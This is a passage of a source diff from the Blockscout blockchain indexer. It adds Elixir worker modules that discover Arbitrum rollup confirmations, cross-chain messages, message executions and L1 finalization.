ArbitrumHelper.update_fetcher_task_data(:historical_confirmations, historical_confirmations_next_iteration) + end + + @doc """ + Discovers and processes historical confirmations of rollup blocks within a calculated block range. + + This function determines the appropriate L1 block range for discovering + historical rollup confirmations based on the provided end block or from the + analysis of confirmations missed in the database. It fetches logs representing + `SendRootUpdated` events within this range to identify the historical tops of + rollup block confirmations. The discovered confirmations are processed to update + the status of rollup blocks and L2-to-L1 messages accordingly. Eventually, + updated rollup blocks, cross-chain messages, and newly constructed lifecycle + transactions are imported into the database. + + Before processing confirmations, the function checks if the unconfirmed blocks index + is ready (when `check_for_readiness` is true). If the index is not ready, it returns + a `:not_ready` status without performing the discovery. + + After processing the confirmations, the function updates the state with the + blocks range for the next iteration. + + ## Parameters + - `state`: A map containing: + - `config`: Configuration map containing outbox address, RPC settings, rollup + initialization block, start block, and first rollup block + - `task_data`: Task-related data including: + - `historical_confirmations`: Contains optional `start_block` and `end_block` + L1 block numbers to limit the range for historical confirmation discovery + - `check_for_readiness`: When true, checks if the unconfirmed blocks index is ready + before proceeding with the discovery (defaults to true) + + ## Returns + - `{:ok, new_state}`: If the discovery process completes successfully + - `{:confirmation_missed, new_state}`: If a confirmation is missed and further + action is needed + - `{:not_ready, state}`: If the unconfirmed blocks index is not ready yet + """ + @spec check_unprocessed(confirmations_related_state(), boolean()) :: + {:ok | :confirmation_missed | :not_ready, confirmations_related_state()} + def check_unprocessed(state, check_for_readiness \\ true) + + def check_unprocessed(state, true) do + if ArbitrumHelper.unconfirmed_blocks_index_ready?() do + check_unprocessed(state, false) + else + log_warning(@non_ready_message) + {:not_ready, state} + end + end + + def check_unprocessed( + %{ + config: %{ + l1_rpc: l1_rpc_config, + l1_outbox_address: outbox_address, + l1_start_block: l1_start_block, + rollup_first_block: rollup_first_block + }, + task_data: %{ + historical_confirmations: %{ + end_block: expected_confirmation_end_block, + start_block: expected_confirmation_start_block + } + } + } = state, + false + ) do + {lowest_l1_block, state} = get_lowest_l1_block_for_confirmations(state) + + {interim_start_block, end_block} = + case expected_confirmation_end_block do + nil -> + # Three options are possible: + # {nil, nil} - there are no confirmations + # {nil, value} - there are no confirmations between L1 block corresponding + # to the rollup genesis and the L1 block _value_. + # {lower, higher} - there are no confirmations between L1 block _lower_ + # and the L1 block _higher_. + DbSettlement.l1_blocks_to_expect_rollup_blocks_confirmation(nil) + + _ -> + {expected_confirmation_start_block, expected_confirmation_end_block} + end + + with {:end_block_defined, true} <- {:end_block_defined, not is_nil(end_block)}, + {:genesis_not_reached, true} <- {:genesis_not_reached, end_block >= lowest_l1_block} do + start_block = + case interim_start_block do + nil -> + max(lowest_l1_block, end_block - l1_rpc_config.logs_block_range + 1) + + value -> + # The interim start block is not nil when a gap between two confirmations + # identified. Therefore there is no need to go deeper than the interim + # start block. + Enum.max([lowest_l1_block, value, end_block - l1_rpc_config.logs_block_range + 1]) + end + + log_info("Block range for historical rollup confirmations discovery: #{start_block}..#{end_block}") + + retcode = + ConfirmationsDiscovery.perform( + outbox_address, + start_block, + end_block, + l1_rpc_config, + rollup_first_block + ) + + case {retcode, start_block == interim_start_block} do + {:ok, true} -> + # The situation when the interim start block is equal to the start block + # means that gap between confirmation has been inspected. It is necessary + # to identify the next gap. + {retcode, state_for_next_iteration_historical(state, nil, nil)} + + {:ok, false} -> + # The situation when the interim start block is not equal to the start block + # means that the confirmations gap has not been inspected fully yet. It is + # necessary to continue the confirmations discovery from the interim start + # block to the block predecessor of the current start block. + {retcode, state_for_next_iteration_historical(state, start_block - 1, interim_start_block)} + + {:confirmation_missed, _} -> + # The situation when the confirmation has been missed. It is necessary to + # re-do the confirmations discovery for the same block range. + {retcode, state_for_next_iteration_historical(state, end_block, interim_start_block)} + end + else + # the situation when end block is `nil` is possible when there is no confirmed + # block in the database and the historical confirmations discovery must start + # from the L1 block specified as L1 start block (configured, or the latest block number) + {:end_block_defined, false} -> {:ok, state_for_next_iteration_historical(state, l1_start_block - 1, nil)} + # If the lowest L1 block with confirmation has been reached during historical confirmations + # discovery, no further actions are needed. + {:genesis_not_reached, false} -> {:ok, state_for_next_iteration_historical(state, lowest_l1_block - 1, nil)} + end + end + + # Updates the state for the next iteration of historical confirmations discovery. + @spec state_for_next_iteration_historical( + confirmations_related_state(), + non_neg_integer() | nil, + non_neg_integer() | nil + ) :: confirmations_related_state() + defp state_for_next_iteration_historical(prev_state, end_block, lowest_block_in_gap) when end_block >= 0 do + ArbitrumHelper.update_fetcher_task_data(prev_state, :historical_confirmations, %{ + end_block: end_block, + start_block: lowest_block_in_gap + }) + end + + @doc """ + Determines whether the historical confirmations discovery process has completed. + + This function checks if the end block of historical confirmations discovery has + reached below the lowest L1 block that needs to be checked for confirmations. + When this happens, it means we have searched back far enough in history and can + stop the historical discovery process. + + ## Parameters + - A map containing: + - `task_data`: Contains historical confirmations data with an end block + - Other configuration needed to determine the lowest L1 block + + ## Returns + - `true` if the end block is less than the lowest L1 block that needs checking + - `false` if end block is nil or still above the lowest L1 block + """ + @spec historical_confirmations_discovery_completed?(confirmations_related_state()) :: boolean() + def historical_confirmations_discovery_completed?( + %{ + task_data: %{historical_confirmations: %{end_block: end_block}} + } = state + ) + when not is_nil(end_block) do + {lowest_l1_block, _} = get_lowest_l1_block_for_confirmations(state) + + end_block < lowest_l1_block + end + + def historical_confirmations_discovery_completed?(_), do: false + + @doc """ + Determines the lowest L1 block number from which to start discovering confirmations. + + The function either: + - Returns a cached value if available + - Queries the database for the batch containing the first rollup block + - Falls back to `l1_rollup_init_block` if no batch is found (without caching) + + ## Parameters + - A map containing: + - `config`: Configuration including: + - `l1_rollup_init_block`: The initialization block for the rollup + - `rollup_first_block`: The first block of the rollup + - `task_data`: Task-related data including: + - `historical_confirmations`: May contain a cached `lowest_l1_block_for_confirmations` + + ## Returns + - `{lowest_block, new_state}`: Where `lowest_block` is either: + - The cached block number + - The L1 block number of the first batch commitment + - The `l1_rollup_init_block` as fallback + """ + @spec get_lowest_l1_block_for_confirmations(confirmations_related_state()) :: + {non_neg_integer(), confirmations_related_state()} + def get_lowest_l1_block_for_confirmations( + %{ + config: %{ + l1_rollup_init_block: l1_rollup_init_block, + rollup_first_block: rollup_first_block + }, + task_data: %{ + historical_confirmations: historical_confirmations_data + } + } = state + ) do + case Map.get(historical_confirmations_data, :lowest_l1_block_for_confirmations) do + nil -> + # If first block is 0, start from block 1 since block 0 is not included in any batch + # and therefore has no confirmation. Otherwise use the first block value + lowest_rollup_block = if rollup_first_block == 0, do: 1, else: rollup_first_block + + case DbSettlement.l1_block_of_confirmation_for_rollup_block(lowest_rollup_block) do + nil -> + {l1_rollup_init_block, state} + + block_number -> + {block_number, + ArbitrumHelper.update_fetcher_task_data(state, :historical_confirmations, %{ + lowest_l1_block_for_confirmations: block_number + })} + end + + cached_block -> + {cached_block, state} + end + end + + @doc """ + Selects an appropriate interval for task scheduling based on the confirmation status. + + When a confirmation is missed (:confirmation_missed), it indicates that required data + is not yet available either in the database or in the parent chain. In this case, + the :standard interval is used to allow more time for data accumulation. + + For successful confirmation (:ok), the :catchup interval is used since the required + data is available and processing can proceed more rapidly. + + When the system is not ready (:not_ready), typically due to pending database migrations, + it uses the configured DB migration check interval to periodically check readiness status. + + ## Parameters + - `status`: The status returned by the confirmation worker (:ok, :confirmation_missed or :not_ready) + - `intervals`: A map containing :standard and :catchup intervals + + ## Returns + The selected interval duration in milliseconds. + """ + @spec select_interval_by_status(:ok | :confirmation_missed | :not_ready, %{ + standard: non_neg_integer(), + catchup: non_neg_integer() + }) :: + non_neg_integer() + def select_interval_by_status(status, intervals) + + def select_interval_by_status(:confirmation_missed, %{standard: standard_interval, catchup: _}) do + log_debug("Using standard interval for the next confirmation discovery task since confirmation is missed") + standard_interval + end + + def select_interval_by_status(:ok, %{standard: _, catchup: catchup_interval}) do + catchup_interval + end + + def select_interval_by_status(:not_ready, _) do + log_debug("Using DB migration check interval for next confirmation discovery task") + HeavyDbIndexOperationHelper.get_check_interval() + end +end diff --git a/apps/indexer/lib/indexer/fetcher/arbitrum/workers/historical_messages_on_l2.ex b/apps/indexer/lib/indexer/fetcher/arbitrum/workers/historical_messages_on_l2.ex new file mode 100644 index 000000000000..2803b7477b29 --- /dev/null +++ b/apps/indexer/lib/indexer/fetcher/arbitrum/workers/historical_messages_on_l2.ex @@ -0,0 +1,372 @@ +defmodule Indexer.Fetcher.Arbitrum.Workers.HistoricalMessagesOnL2 do + @moduledoc """ + Handles the discovery and processing of historical messages between Layer 1 (L1) and Layer 2 (L2) within an Arbitrum rollup. + + ## L1-to-L2 Messages + L1-to-L2 messages are discovered by first inspecting the database to identify + potentially missed messages. Then, rollup transactions are requested through RPC + to fetch the necessary data. This is required because some Arbitrum-specific fields, + such as the `requestId`, are not included in the already indexed transactions within + the database. + + ## L2-to-L1 Messages + L2-to-L1 messages are discovered by analyzing the logs of already indexed rollup + transactions. + """ + + import Indexer.Fetcher.Arbitrum.Utils.Logging, only: [log_warning: 1, log_info: 1, log_debug: 1] + + alias EthereumJSONRPC.Transaction, as: TransactionByRPC + + alias Indexer.Fetcher.Arbitrum.MessagesToL2Matcher, as: ArbitrumMessagesToL2Matcher + alias Indexer.Fetcher.Arbitrum.Messaging + alias Indexer.Fetcher.Arbitrum.Utils.Db.Common, as: DbCommon + alias Indexer.Fetcher.Arbitrum.Utils.Db.Messages, as: DbMessages + alias Indexer.Fetcher.Arbitrum.Utils.Rpc + + require Logger + + @doc """ + Initiates the discovery process for historical messages sent from L2 to L1 up to a specified block number. + + This function orchestrates the discovery of historical messages from L2 to L1 + by analyzing the rollup logs representing the `L2ToL1Tx` event. It determines + the starting block for the discovery process and verifies that the relevant + rollup block range has been indexed before proceeding with the discovery and + data import. During the import process, each message is assigned the + appropriate status based on the current rollup state. + + ## Parameters + - `end_block`: The ending block number up to which the discovery should occur. + If `nil` or less than the indexer's first block, the function returns with no + action taken. + - `state`: Contains the operational configuration, including the depth of + blocks to consider for the starting point of message discovery and the + first block of the rollup chain. + + ## Returns + - `{:ok, nil}`: If `end_block` is `nil`, indicating no discovery action was + required. + - `{:ok, rollup_first_block}`: If `end_block` is less than the indexer's first + block, indicating that the "genesis" of the blockchain was reached. + - `{:ok, start_block}`: Upon successful discovery of historical messages, where + `start_block` indicates the necessity to consider another block range in the + next iteration of message discovery. + - `{:ok, end_block + 1}`: If the required block range is not fully indexed, + indicating that the next iteration of message discovery should start with the + same block range. + """ + @spec discover_historical_messages_from_l2(nil | integer(), %{ + :config => %{ + :missed_messages_blocks_depth => non_neg_integer(), + :rollup_rpc => %{ + :first_block => non_neg_integer(), + optional(any()) => any() + }, + optional(any()) => any() + }, + optional(any()) => any() + }) :: {:ok, nil | non_neg_integer()} + def discover_historical_messages_from_l2(end_block, state) + + def discover_historical_messages_from_l2(end_block, _) when is_nil(end_block) do + {:ok, nil} + end + + def discover_historical_messages_from_l2(end_block, %{config: %{rollup_rpc: %{first_block: rollup_first_block}}}) + when is_integer(end_block) and end_block < rollup_first_block do + {:ok, rollup_first_block} + end + + def discover_historical_messages_from_l2( + end_block, + %{ + config: %{ + missed_messages_blocks_depth: missed_messages_blocks_depth, + rollup_rpc: %{first_block: rollup_first_block} + } + } = _state + ) + when is_integer(end_block) do + start_block = max(rollup_first_block, end_block - missed_messages_blocks_depth + 1) + + if DbCommon.indexed_blocks?(start_block, end_block) do + do_discover_historical_messages_from_l2(start_block, end_block) + else + log_warning( + "Not able to discover historical messages from L2, some blocks in #{start_block}..#{end_block} not indexed" + ) + + {:ok, end_block + 1} + end + end + + # Discovers and processes historical messages sent from L2 to L1 within a specified rollup block range. + # + # This function fetches relevant rollup logs from the database representing messages sent + # from L2 to L1 (the `L2ToL1Tx` event) between the specified `start_block` and `end_block`. + # If any logs are found, they are used to construct message structures, which are then + # imported into the database. As part of the message construction, the appropriate status + # of the message (initialized, sent, or confirmed) is determined based on the current rollup + # state. + # + # ## Parameters + # - `start_block`: The starting block number for the discovery range. + # - `end_block`: The ending block number for the discovery range. + # + # ## Returns + # - `{:ok, start_block}`: A tuple indicating successful processing, returning the initial + # starting block number. + @spec do_discover_historical_messages_from_l2(non_neg_integer(), non_neg_integer()) :: {:ok, non_neg_integer()} + defp do_discover_historical_messages_from_l2(start_block, end_block) do + log_info("Block range for discovery historical messages from L2: #{start_block}..#{end_block}") + + logs = DbMessages.logs_for_missed_messages_from_l2(start_block, end_block) + + unless logs == [] do + messages = + logs + |> Messaging.handle_filtered_l2_to_l1_messages(__MODULE__) + + Messaging.import_to_db(messages) + end + + {:ok, start_block} + end + + @doc """ + Initiates the discovery of historical messages sent from L1 to L2 up to a specified block number. + + This function orchestrates the process of discovering historical L1-to-L2 + messages within a given rollup block range, based on the existence of the + `requestId` field in the rollup transaction body. The initial list of + transactions that could contain the messages is received from the database, and + then their bodies are re-requested through RPC because already indexed + transactions from the database cannot be utilized; the `requestId` field is not + included in the transaction model. The function ensures that the block range + has been indexed before proceeding with message discovery and import. + + Messages with plain (non-hashed) request IDs are imported into the database and + marked as `:relayed`, representing completed actions from L1 to L2. + + For transactions where the `requestId` represents a hashed message ID, the + function schedules asynchronous discovery to match them with corresponding L1 + transactions. + + ## Parameters + - `end_block`: The ending block number for the discovery operation. If `nil` or + less than the indexer's first block, the function returns with no action + taken. + - `state`: The current state of the operation, containing configuration + parameters including the depth of blocks to consider for the starting point + of message discovery, size of chunk to make request to RPC, and JSON RPC + connection settings. + + ## Returns + - `{:ok, nil}`: If `end_block` is `nil`, indicating no action was necessary. + - `{:ok, rollup_first_block}`: If `end_block` is less than the indexer's first + block, indicating that the "genesis" of the blockchain was reached. + - `{:ok, start_block}`: On successful completion of historical message + discovery, where `start_block` indicates the necessity to consider another + block range in the next iteration of message discovery. + - `{:ok, end_block + 1}`: If the required block range is not fully indexed, + indicating that the next iteration of message discovery should start with the + same block range. + """ + @spec discover_historical_messages_to_l2(nil | integer(), %{ + :config => %{ + :missed_messages_blocks_depth => non_neg_integer(), + :rollup_rpc => %{ + :chunk_size => non_neg_integer(), + :json_rpc_named_arguments => EthereumJSONRPC.json_rpc_named_arguments(), + optional(any()) => any() + }, + optional(any()) => any() + }, + optional(any()) => any() + }) :: {:ok, nil | non_neg_integer()} + def discover_historical_messages_to_l2(end_block, state) + + def discover_historical_messages_to_l2(end_block, _) when is_nil(end_block) do + {:ok, nil} + end + + def discover_historical_messages_to_l2(end_block, %{config: %{rollup_rpc: %{first_block: rollup_first_block}}}) + when is_integer(end_block) and end_block < rollup_first_block do + {:ok, rollup_first_block} + end + + def discover_historical_messages_to_l2( + end_block, + %{config: %{missed_messages_blocks_depth: _, rollup_rpc: %{first_block: _}} = config} = _state + ) + when is_integer(end_block) do + start_block = max(config.rollup_rpc.first_block, end_block - config.missed_messages_blocks_depth + 1) + + # Although indexing blocks is not necessary to determine the completion of L1-to-L2 messages, + # for database consistency, it is preferable to delay marking these messages as completed. + if DbCommon.indexed_blocks?(start_block, end_block) do + do_discover_historical_messages_to_l2(start_block, end_block, config) + else + log_warning( + "Not able to discover historical messages to L2, some blocks in #{start_block}..#{end_block} not indexed" + ) + + {:ok, end_block + 1} + end + end + + # Discovers and processes historical messages sent from L1 to L2 within a + # specified rollup block range. + # + # This function identifies already indexed transactions within the block range + # that potentially contain L1-to-L2 messages. It then makes RPC calls to fetch + # complete transaction data, as the database doesn't include the Arbitrum-specific + # `requestId` field. + # + # The fetched transactions are processed to construct proper message structures. + # Messages with plain (non-hashed) request IDs are imported into the database + # and marked as `:relayed`, representing completed actions from L1 to L2. + # + # For transactions where the `requestId` represents a hashed message ID, the + # function schedules asynchronous discovery to match them with corresponding L1 + # transactions. + # + # The function processes transactions in chunks to manage memory usage and + # network load efficiently. + # + # ## Parameters + # - `start_block`: The starting block number for the discovery range. + # - `end_block`: The ending block number for the discovery range. + # - `config`: A map containing configuration settings, including: + # - `:rollup_rpc`: A map with RPC settings: + # - `:chunk_size`: The number of transactions to process in each chunk. + # - `:json_rpc_named_arguments`: Arguments for JSON-RPC communication. + # + # ## Returns + # - `{:ok, start_block}`: A tuple indicating successful processing, returning + # the initial starting block number. + @spec do_discover_historical_messages_to_l2(non_neg_integer(), non_neg_integer(), %{ + :rollup_rpc => %{ + :chunk_size => non_neg_integer(), + :json_rpc_named_arguments => EthereumJSONRPC.json_rpc_named_arguments(), + optional(any()) => any() + }, + optional(any()) => any() + }) :: {:ok, non_neg_integer()} + defp do_discover_historical_messages_to_l2( + start_block, + end_block, + %{rollup_rpc: %{chunk_size: chunk_size, json_rpc_named_arguments: json_rpc_named_arguments}} = _config + ) do + log_info("Block range for discovery historical messages to L2: #{start_block}..#{end_block}") + + transactions = DbMessages.transactions_for_missed_messages_to_l2(start_block, end_block) + transactions_length = length(transactions) + + if transactions_length > 0 do + log_debug("#{transactions_length} historical messages to L2 discovered") + + {messages, transactions_for_further_handling} = + transactions + |> Enum.chunk_every(chunk_size) + |> Enum.reduce({[], []}, fn chunk, {messages_acc, transactions_acc} -> + # Since DB does not contain the field RequestId specific to Arbitrum + # all transactions will be requested from the rollup RPC endpoint. + # The catchup process intended to be run once and only for the BS instance + # which are already exist, so it does not make sense to introduce + # the new field in DB + requests = build_transaction_requests(chunk) + + {messages, transactions_with_hashed_message_id} = + requests + |> Rpc.make_chunked_request(json_rpc_named_arguments, "eth_getTransactionByHash") + |> Enum.map(&transaction_json_to_map/1) + |> Messaging.filter_l1_to_l2_messages(false) + + {messages ++ messages_acc, transactions_with_hashed_message_id ++ transactions_acc} + end) + + handle_messages(messages) + handle_transactions_with_hashed_message_id(transactions_for_further_handling) + end + + {:ok, start_block} + end + + # Constructs a list of `eth_getTransactionByHash` requests for a given list of transaction hashes. + defp build_transaction_requests(transaction_hashes) do + transaction_hashes + |> Enum.reduce([], fn transaction_hash, requests_list -> + [ + Rpc.transaction_by_hash_request(%{id: 0, hash: transaction_hash}) + | requests_list + ] + end) + end + + # Transforms a JSON transaction object into a map. + @spec transaction_json_to_map(%{String.t() => any()}) :: map() + defp transaction_json_to_map(transaction_json) do + transaction_json + |> TransactionByRPC.to_elixir() + |> TransactionByRPC.elixir_to_params() + end + + # Processes and imports completed L1-to-L2 messages. + # + # This function handles a list of completed L1-to-L2 messages, logging the number + # of messages to be imported and then importing them into the database. The + # function intentionally logs even when there are zero messages to import, which + # helps identify potential cases where not all transactions are recognized as + # completed L1-to-L2 messages. + # + # ## Parameters + # - `messages`: A list of completed L1-to-L2 messages ready for import. + # + # ## Returns + # - `:ok` + @spec handle_messages([Explorer.Chain.Arbitrum.Message.to_import()]) :: :ok + defp handle_messages(messages) do + log_info("#{length(messages)} completions of L1-to-L2 messages will be imported") + Messaging.import_to_db(messages) + end + + # Processes transactions with hashed message IDs for L1-to-L2 message completion. + # + # This function asynchronously handles transactions that contain L1-to-L2 + # messages with hashed message IDs. + # + # The asynchronous handling is beneficial because: + # - If the corresponding L1 transaction is already indexed, the message will be + # imported after the next flush of the queued tasks buffer. + # - If the corresponding L1 transaction is not yet indexed, it will be awaited by + # the queued tasks handler. + # + # Asynchronous processing prevents locking the discovery process, which would + # occur if we waited synchronously for L1 transactions to be indexed. Another + # approach for synchronous handling is to skip a message without importing it to + # the DB when an L1 transaction is not found; the absence of the message will be + # discovered after a Blockscout instance restart. In the current asynchronous + # implementation, even if the awaiting of an L1 transaction in the queued tasks + # is terminated due to a Blockscout instance shutdown, the absence of the message + # will be discovered after the restart. The system will then attempt to match it + # with the corresponding L1 message again. + # + # ## Parameters + # - `transactions_with_hashed_message_id`: A list of transactions containing L1-to-L2 + # messages with hashed message IDs. + # + # ## Returns + # - `:ok` + @spec handle_transactions_with_hashed_message_id([map()]) :: :ok + defp handle_transactions_with_hashed_message_id([]), do: :ok + + defp handle_transactions_with_hashed_message_id(transactions_with_hashed_message_id) do + log_info( + "#{length(transactions_with_hashed_message_id)} completions of L1-to-L2 messages require message ID matching discovery" + ) + + ArbitrumMessagesToL2Matcher.async_discover_match(transactions_with_hashed_message_id) + end +end diff --git a/apps/indexer/lib/indexer/fetcher/arbitrum/workers/l1_finalization.ex b/apps/indexer/lib/indexer/fetcher/arbitrum/workers/l1_finalization.ex new file mode 100644 index 000000000000..86d3cdadbf7e --- /dev/null +++ b/apps/indexer/lib/indexer/fetcher/arbitrum/workers/l1_finalization.ex @@ -0,0 +1,101 @@ +defmodule Indexer.Fetcher.Arbitrum.Workers.L1Finalization do + @moduledoc """ + Oversees the finalization of lifecycle transactions on Layer 1 (L1) for Arbitrum rollups. + + This module is tasked with monitoring and updating the status of Arbitrum + lifecycle transactions that are related to the rollup process. It ensures that + transactions which have been confirmed up to the 'safe' block number on L1 are + marked as 'finalized' within the system's database. + """ + + import Indexer.Fetcher.Arbitrum.Utils.Logging, only: [log_info: 1] + + alias Indexer.Fetcher.Arbitrum.Utils.Db.ParentChainTransactions, as: Db + alias Indexer.Fetcher.Arbitrum.Utils.Rpc + alias Indexer.Helper, as: IndexerHelper + + alias Explorer.Chain + + require Logger + + @doc """ + Determines whether settlement transactions finalization should be run based on configuration. + + ## Parameters + - A map containing configuration with L1 RPC settings. + + ## Returns + - `true` if finalization tracking is enabled in the configuration + - `false` otherwise + """ + @spec run_settlement_transactions_finalization?(%{ + :config => %{ + :l1_rpc => %{ + :track_finalization => boolean(), + optional(any()) => any() + }, + optional(any()) => any() + }, + optional(any()) => any() + }) :: boolean() + def run_settlement_transactions_finalization?(%{config: %{l1_rpc: %{track_finalization: track_finalization}}}) do + track_finalization + end + + @doc """ + Monitors and updates the status of lifecycle transactions related an Arbitrum rollup to 'finalized'. + + This function retrieves the current 'safe' block number from L1 and identifies + lifecycle transactions that are not yet finalized up to this block. It then + updates the status of these transactions to 'finalized' and imports the updated + data into the database. + + ## Parameters + - A map containing: + - `config`: Configuration settings including JSON RPC arguments for L1 used + to fetch the 'safe' block number. + + ## Returns + - `:ok` + """ + @spec monitor_lifecycle_transactions(%{ + :config => %{ + :l1_rpc => %{ + :json_rpc_named_arguments => EthereumJSONRPC.json_rpc_named_arguments(), + optional(any()) => any() + }, + optional(any()) => any() + }, + optional(any()) => any() + }) :: :ok + def monitor_lifecycle_transactions( + %{config: %{l1_rpc: %{json_rpc_named_arguments: json_rpc_named_arguments}}} = _state + ) do + {:ok, safe_block} = + IndexerHelper.get_block_number_by_tag( + "safe", + json_rpc_named_arguments, + Rpc.get_resend_attempts() + ) + + lifecycle_transactions = Db.lifecycle_unfinalized_transactions(safe_block) + + if length(lifecycle_transactions) > 0 do + log_info("Discovered #{length(lifecycle_transactions)} lifecycle transaction to be finalized") + + updated_lifecycle_transactions = + lifecycle_transactions + |> Enum.map(fn transaction -> + Map.put(transaction, :status, :finalized) + end) + + {:ok, _} = + Chain.import(%{ + arbitrum_lifecycle_transactions: %{params: updated_lifecycle_transactions}, + timeout: :infinity + }) + end + + :ok + end +end diff --git a/apps/indexer/lib/indexer/fetcher/arbitrum/workers/new_l1_executions.ex b/apps/indexer/lib/indexer/fetcher/arbitrum/workers/new_l1_executions.ex new file mode 100644 index 000000000000..0bdc6e8bbe20 --- /dev/null +++ b/apps/indexer/lib/indexer/fetcher/arbitrum/workers/new_l1_executions.ex @@ -0,0 +1,467 @@ +defmodule Indexer.Fetcher.Arbitrum.Workers.NewL1Executions do + @moduledoc """ + Coordinates the discovery and processing of new and historical L2-to-L1 message executions for an Arbitrum rollup. + + This module is responsible for identifying and importing executions of messages + that were initiated from Arbitrum's Layer 2 (L2) and are to be relayed to + Layer 1 (L1). It handles both new executions that are currently occurring on L1 + and historical executions that occurred in the past but have not yet been + processed. + + Discovery of these message executions involves parsing logs for + `OutBoxTransactionExecuted` events emitted by the Arbitrum outbox contract. As + the logs do not provide comprehensive data for constructing the related + lifecycle transactions, the module executes batched RPC calls to + `eth_getBlockByNumber`, using the responses to obtain transaction timestamps, + thereby enriching the lifecycle transaction data. + """ + + import EthereumJSONRPC, only: [quantity_to_integer: 1] + alias EthereumJSONRPC.Arbitrum.Constants.Events, as: ArbitrumEvents + + import Indexer.Fetcher.Arbitrum.Utils.Logging, only: [log_info: 1, log_debug: 1] + + alias EthereumJSONRPC.Block.ByNumber, as: BlockByNumber + + import Explorer.Helper, only: [decode_data: 2] + + alias Indexer.Fetcher.Arbitrum.Utils.Db.Messages, as: DbMessages + alias Indexer.Fetcher.Arbitrum.Utils.Db.ParentChainTransactions, as: DbParentChainTransactions + alias Indexer.Fetcher.Arbitrum.Utils.Helper, as: ArbitrumHelper + alias Indexer.Fetcher.Arbitrum.Utils.Rpc + alias Indexer.Fetcher.Arbitrum.Workers.Confirmations.Tasks, as: ConfirmationsTasks + alias Indexer.Helper, as: IndexerHelper + + alias Explorer.Chain + alias Explorer.Chain.Arbitrum + + require Logger + + @type new_executions_data_map :: %{ + :start_block => non_neg_integer() + } + + @type historical_executions_data_map :: %{ + :end_block => non_neg_integer() + } + + @typep executions_related_state :: %{ + :config => %{ + :l1_outbox_address => binary(), + :l1_rollup_init_block => non_neg_integer(), + :l1_rpc => %{ + :json_rpc_named_arguments => EthereumJSONRPC.json_rpc_named_arguments(), + :logs_block_range => non_neg_integer(), + optional(any()) => any() + }, + :rollup_first_block => non_neg_integer(), + optional(any()) => any() + }, + :task_data => %{ + :new_executions => new_executions_data_map(), + :historical_executions => historical_executions_data_map(), + :historical_confirmations => ConfirmationsTasks.historical_confirmations_data_map(), + optional(any()) => any() + }, + optional(any()) => any() + } + + @doc """ + Discovers and processes new executions of L2-to-L1 messages within the current L1 block range. + + This function fetches logs for `OutBoxTransactionExecuted` events within the + specified L1 block range to identify new execution transactions for L2-to-L1 + messages, updating their status and linking them with corresponding lifecycle + transactions in the database. Additionally, the function checks unexecuted + L2-to-L1 messages to match them with any newly recorded executions and updates + their status to `:relayed`. + + ## Parameters + - A map containing: + - `config`: Configuration settings including the Arbitrum outbox contract + address, JSON RPC arguments, and the block range for fetching + logs. + - `data`: Contains the starting block number for new execution discovery. + + ## Returns + - `{:ok, state}`: On successful discovery and processing, where `state` includes + an updated `start_block` for the next iteration if new blocks were processed, + or remains unchanged if no new blocks were found on L1. + """ + @spec discover_new_l1_messages_executions(executions_related_state()) :: {:ok, executions_related_state()} + def discover_new_l1_messages_executions( + %{ + config: %{ + l1_rpc: l1_rpc_config, + l1_outbox_address: outbox_address + }, + task_data: %{new_executions: %{start_block: start_block}} + } = state + ) do + # Requesting the "latest" block instead of "safe" allows to catch executions + # without latency. + {:ok, latest_block} = + IndexerHelper.get_block_number_by_tag( + "latest", + l1_rpc_config.json_rpc_named_arguments, + Rpc.get_resend_attempts() + ) + + end_block = min(start_block + l1_rpc_config.logs_block_range - 1, latest_block) + + if start_block <= end_block do + log_info("Block range for new l2-to-l1 messages executions discovery: #{start_block}..#{end_block}") + + discover(outbox_address, start_block, end_block, l1_rpc_config) + + # The next iteration will start from the next block after the last processed block + {:ok, ArbitrumHelper.update_fetcher_task_data(state, :new_executions, %{start_block: end_block + 1})} + else + # No new blocks on L1 produced from the last iteration of the new executions discovery + {:ok, state} + end + end + + @doc """ + Discovers and processes historical executions of L2-to-L1 messages within a calculated L1 block range. + + This function fetches logs for `OutBoxTransactionExecuted` events within the + calculated L1 block range. It then processes these logs to identify execution + transactions for L2-to-L1 messages, updating their status and linking them with + corresponding lifecycle transactions in the database. Additionally, the + function goes through unexecuted L2-to-L1 messages, matches them with the + executions recorded in the database up to this moment, and updates the messages' + status to `:relayed`. + + ## Parameters + - A map containing: + - `config`: Configuration settings including the Arbitrum outbox contract + address, the initialization block for the rollup, and JSON RPC arguments. + - `data`: Contains the ending block number for the historical execution + discovery. + + ## Returns + - `{:ok, state}`: On successful discovery and processing, where `state` includes + an updated `end_block` for the next iteration. If executions were found, + `end_block` is set to the block before the last processed block. If the + historical discovery process has reached the lowest L1 block that needs to + be checked, `end_block` is set to one block before that lowest block. + """ + @spec discover_historical_l1_messages_executions(executions_related_state()) :: {:ok, executions_related_state()} + def discover_historical_l1_messages_executions( + %{ + config: %{ + l1_rpc: l1_rpc_config, + l1_outbox_address: outbox_address + }, + task_data: %{historical_executions: %{end_block: end_block}} + } = state + ) do + # This is used to optimize historical discovery processes by avoiding scanning + # blocks before the first possible confirmation. Since cross-chain message + # executions on the parent chain cannot occur before their corresponding L2 + # blocks are confirmed, this provides a safe lower bound for message execution + # discovery. + {lowest_l1_block, new_state} = ConfirmationsTasks.get_lowest_l1_block_for_confirmations(state) + + data_for_next_iteration = + if end_block >= lowest_l1_block do + start_block = max(lowest_l1_block, end_block - l1_rpc_config.logs_block_range + 1) + + log_info("Block range for historical l2-to-l1 messages executions discovery: #{start_block}..#{end_block}") + + discover(outbox_address, start_block, end_block, l1_rpc_config) + + # The next iteration will consider the block range which ends by the block + # before the last processed block + %{end_block: start_block - 1} + else + # The historical discovery process has reached the lowest L1 block that + # needs to be checked for executions + %{end_block: lowest_l1_block - 1} + end + + {:ok, ArbitrumHelper.update_fetcher_task_data(new_state, :historical_executions, data_for_next_iteration)} + end + + @doc """ + Determines whether the historical executions discovery process has completed. + + This function checks if the end block of historical executions discovery has + reached below the lowest L1 block that needs to be checked for executions. + When this happens, it means we have searched back far enough in history and can + stop the historical discovery process. + + ## Parameters + - A map containing: + - `task_data`: Contains historical executions data with an end block + - Other configuration needed to determine the lowest L1 block + + ## Returns + - `true` if the end block is less than the lowest L1 block that needs checking + - `false` otherwise + """ + @spec historical_executions_discovery_completed?(executions_related_state()) :: boolean() + def historical_executions_discovery_completed?( + %{ + task_data: %{historical_executions: %{end_block: end_block}} + } = state + ) do + {lowest_l1_block, _} = ConfirmationsTasks.get_lowest_l1_block_for_confirmations(state) + + end_block < lowest_l1_block + end + + # Discovers and imports execution transactions for L2-to-L1 messages within a specified L1 block range. + # + # This function fetches logs for 